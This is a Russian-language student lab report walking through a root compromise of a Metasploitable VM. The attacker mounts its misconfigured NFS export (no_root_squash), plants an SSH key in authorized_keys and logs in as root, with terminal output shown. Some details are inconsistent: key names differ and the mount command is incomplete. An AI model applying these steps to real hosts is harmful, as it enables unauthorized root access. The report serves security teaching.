

ХОД РАБОТЫ

1.1. Были развернуты виртуальные машины Kali Linux и Metasploitable, подготовленные в рамках выполнения предыдущих лабораторных работ, а также проверена корректность их работоспособности

1.2. Атака на Metasploitable

1.2.1. Сканирование портов Metasploitable

1) Было произведено сканирование портов Metasploitable

1.2.2. Оценка работы NFS сервера

1) Выполнена команда `rpcinfo -p MS_IP`;

2) командой `showmount -e MS_IP` был запрошен вывод состояния NFS сервиса на машине жертвы.

1.3. Использование неправильно сконфигурированной NFS Mount.

1.3.1. Создание пары ключей SSH.

1) Был создан каталог `/root/.ssh` командой `mkdir -p /root/.ssh` и произведен переход в эту директорию;

3) выполнена команда `ssh-keygen -t rsa -b 4096` для создания ключей.

4) проверка создания ключей командой `ls`.

1.3.2. Монтирование файловой системы Metasploitable.

1) Произведено монтирование файловой системы машины-жертвы командой `mount -t nfs MS_IP:/mnt -o nolock`;

1.3.3. Изменение файла `authorized_keys` машины-жертвы.

1) Был добавлен наш ssh кей в машину жертвы

1.3.4. Получение root прав.

1) Подключение по ssh к машине жертвы командой `ssh -i /root/.ssh/hacker_rsa root@MS_IP`.

1.4. Форензика

1) Был просмотрен список подключенных машин к серверу NFS командой `showmount -a MS_IP`, размонтирование файловой системы машины-жертвы,

проверка ее отсутствия

РЕЗУЛЬТАТ РАБОТЫ

```
(root@kali)-[/]
# ssh -i /root/.ssh/id_rsa -o HostKeyAlgorithms=+ssh-dss root@192.168.28.130 "cat /etc/exports"
root@192.168.28.130's password:
# /etc/exports: the access control list for filesystems which may be exported
#           to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#
/           *(rw,sync,no_root_squash,no_subtree_check)

(root@kali)-[/]
# ssh -i /root/.ssh/id_rsa -o HostKeyAlgorithms=+ssh-dss root@192.168.28.130 "date"
root@192.168.28.130's password:
Thu Jun 16 17:05:13 EDT 2022

(root@kali)-[/]
# date
Thu Jun 16 05:05:08 PM EDT 2022

(root@kali)-[/]
# echo "Sadritdinov Ural Fidavisovich"
Sadritdinov Ural Fidavisovich

(root@kali)-[/]
#
```